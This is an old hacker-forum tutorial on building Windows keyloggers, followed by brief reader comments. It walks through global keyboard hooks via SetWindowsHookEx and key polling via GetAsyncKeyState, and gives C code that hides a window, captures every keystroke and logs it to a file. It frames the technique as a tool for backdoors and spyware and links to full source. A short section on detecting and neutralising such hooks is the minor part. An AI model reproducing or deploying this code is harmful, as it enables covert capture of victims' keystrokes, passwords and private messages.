The Art Of Keylogging - Implementation and Detection
The Art Of Keylogging - Implementation and Detection
==[0x00]==[Contents]=
0x01 Abstract. 0x02 Things you need. 0x03 Types of keyloggers. 0x04 The SetWindowsHookEx method. 0x05 The GetAsyncKeyState method. 0x06 Translating the virtual-keys. 0x07 Conlcusion. 0x08 References.
==[0x01]==[Abstract]=
From the time of computing malwares and spywares have been an integral part of the computer era. Keylogging is one the most basic and dire need for a backdoor or a spyware, it adds a new dimension to the backdoored or a rooted system allowing to infiltrate without raising a packet. In this article we discuss implementation and detection of Windows user mode keyloggers, with that lets roll.
==[0x02]==[Things you need]
o Th Mirosoft VC++ development environment. o MSDN Library. o I assume you are well used to the above mentioned things
==[0x03]==[Types of Keyloggers]
On windows keylogging in user mode is acheived using two methods they are (They are Windows API calls)
- SetWindowsHookEx
- GetAsyncKeyState
These are not the only two methods available, others are there but not quite practical and not seemed to be used in the wild.
==[0x04]==[The SetWindowsHookEx method]
This method is very well known and source implementations are also available.As the api name suggests, we use windows hooks to achieve keylogging.(Many of you might recall this as a method to inject DLLs and API hooking),MSDN says
"A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure."
"The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread."
Syntax
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod, DWORD dwThreadId);
if the idHook is set to WH_KEYBOARD, keyboard events are monitored and on each event the hook procedure is called, there is another idHook available but it won't work on windows 98, this one works on all of them and yes even Win2k3.
For the application to recieve the events globally the hook procedure (a.k.a global hook) must be in a library i.e a DLL file.So here are the steps
o First we make a DLL file having the hook procedure function, who\'s
prototype is
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam);
The wParam holds the virtual-key code of the key that generated the
keystroke message and the lparam holds the repeat count, scan code,
extended-key flag,context code, previous key-state flag, and
transition-state flag.
Next we need to decode these parameters to ASCII characters and log them
to file, but as you can see opening and writing each charater to a file
every time a key strokeis generated will make the process slower, so we
send these keystrokes back to the application where they will be
processed and logged to a file, there are numerous methods available
to do this ( shared memory sections named pipes etc, but they are again
equivalent to opening and closing a file object), we do it using windows
messages.
Also we need to keep nag of a few things here (from MSDN)
a. If code is less than zero, the hook procedure must return the value
returned by CallNextHookEx
b. If code is greater than or equal to zero, and the hook procedure
did not process the message,it is highly recommended that you call
CallNextHookEx and return the value it returns; otherwise, other
applications that have installed WH_KEYBOARD hooks will not receive
hook notifications and may behave incorrectly as a result. If the hook
procedure processed the message,it may return a nonzero value to prevent
the system from passing the message to the rest of the hook chain or
the target window procedure.
NOTE: This method can also be use to sterlize already running keyloggers by
violating point b.See section 0x06.
Finally our procedure looks like
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
if(code != HC_NOREMOVE) /*Follow points a and b*/
if(lParam < 0)
if(code==HC_ACTION) {
/*Find the window and send the message*/
hwnd=FindWindow(szWindowClass,szWindowName);
SendMessage(hwnd,WM_LOGGERB,wParam,lParam);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
o Next comes the main application, we first create a window(of course we will hide it);it is required to make this hook(don't know why) work properly also since we will be recieving the keystroke information as messages. Next we establish the hook, open a file for writing and wait for messages. A part of the window callback procedure code looks like:
/*Load our library*/
hm=LoadLibrary(szFile);
/*GetAddress of the Hook procedure*/
pFunc=(pKBP)GetProcAddress(hm,\"KeyboardProc\");
/*Establish the hook*/
hhk=SetWindowsHookEx(WH_KEYBOARD,pFunc,hm,0);
The code for logging the data is similiar to the next method used.The
rest of the code can be found on my website,see references.
==[0x04]==[The GetAsyncKeyState method]
This method is the most efficient method and does not need an extra dll as in SetWIndowsHookEx method.I suppose this is the first time this method is going to be publicaly available in source(i found none). MSDN says
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called,and whether the key was pressed after a previous call to GetAsyncKeyState.
Syntax
SHORT GetAsyncKeyState(int vKey);
the vkey Specifies one of 256 possible virtual-key codes.
To use this we constantly poll using a thread,a loop or a timer to check if a key is pressed, if yes we log it.Now it might seem simpler to you but the actual implementation in C looks something like this
for(i=0;i<94;i++) if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x00000001) if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x8000000) { if((VKeys[i].VIR_KEY >=0x41) && (VKeys[i].VIR_KEY <=0x5A)){ if(!( ( GetKeyState(VK_CAPITAL) & 0x000000001 ) ^ ( GetKeyState(VK_SHIFT) <0 ) ) ) { wsprintf(KeyData,"%c",(TCHAR)tolower(VKeys[i].VIR_KEY)); res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); break; } } if( (GetKeyState(VK_SHIFT) <0) && IsTrans(VKeys[i].VIR_KEY) ) { wsprintf(KeyData,"%c",(TCHAR)TransKey(VKeys[i].VIR_KEY)); res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL); if(res==0) SendMessage(hwnd,WM_DESTROY,0,0); break; }
wsprintf(KeyData,\"%s\",VKeys[i].Des);
res=WriteFile(hFile,(LPCVOID)KeyData,strlen(VKeys[i].Des),&BW,NULL);
if(res==0) SendMessage(hwnd,WM_DESTROY,0,0);
}
Simple ??. The first two if statements might be hard to get, the first if statement checks if a key was pressed after the previous call to GetAsyncKeyState (this is the essence of this method which gives it the speed) and the second one checks if the key is down, the third if takes care of leaving some keys(printable ascii actually, but it can be removed). The fourth and the fifth if statement handles checks if shift key is pressed or caps lock is on and rest is about translating and logging the keys, see the refrence section for a link to the examples.Very few keyloggers use this method, one example is the skl0g keylogger written in visual basic.
==[0x05]==[Translating the virtual-keys]=
Finally we need to translate the virtual key codes, i do this by making a structure array as this method allows me to log keys as <UP>,<DOWN>,<Num0> etc. I use two structures to take care of the shift key(not neccessary, hey the code is old but it is siad old is gold), the structures look like
typedef struct _STABLE {
int VIR_KEY;
TCHAR Key;
}TTABLE;
typedef struct _VTABLE{
int VIR_KEY;
TCHAR *Des;
}VTABLE;
And finally the arrays(for arrays see the source code). Since the shift key state and caps lock state is unavailable, we use the GetKeyState API to handle these. Next we simply call required functions to return appropiate data i.e character coressponding to a key or a description.
==[0x06]==[Detecting keyloggers]=
By reading this article by now you must have guessed a couple of ways to detect such activity. Most keylogger and spyware detectors work on signatures not heuristics. To monitor such activity we need to establish a global API hook on GetAsyncKeyState api and monitor the rate at wich it is being called, or just scan for executables which call this function (this can be easily bypassed), but beware this is also the method used to implement 'Hot Keys'. The SetWindowsHookEx activity can be detected similiary.
A SetWindowsHookEx keylogger can be easily steralized by establishing another WH_KEYBOARD hook, and not following the required rules(see point b under section 0x04),for this our hook procedure will look like:
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam, LPARAM lParam)
{
if(code<0) return CallNextHookEx(NULL,code,wParam,lParam);
/*The next procedures in the hook chain never get a chance to process messages*/
if(code>=0) return 0;
}
It is to be noted that this should be done after the keylogger is running.
==[0x07]==[Conclusion]=
I have outlined the basic methods involved in building a keyloggers.The next step would be to encrypt or accesss the kelogged data remotely.I did not discuss these things as i did not want this to be a spyware guide.Hope this article spreads information regarding keyloggers.
==[0x08]==[References]==
- The examples of both the keyloggers can be found at http://warl0ck.cjb.net/logkeys.rar
- MSDN Library , http://msdn.microsoft.com
- skl0g keylogger, http://skl0g.cjb.net
ghost 19 years ago
I haven't read all of this yet, but right away I can see that you actually put some thought into this and the structure is very nice.
ghost 19 years ago
very great article! loved it. BUT: The last thing we need are more "Skiddys" running around with pre-made keyloggers.
ghost 19 years ago
Holy Shit! A real article, longer than 2 paragraphs with real information. Way to go warlock!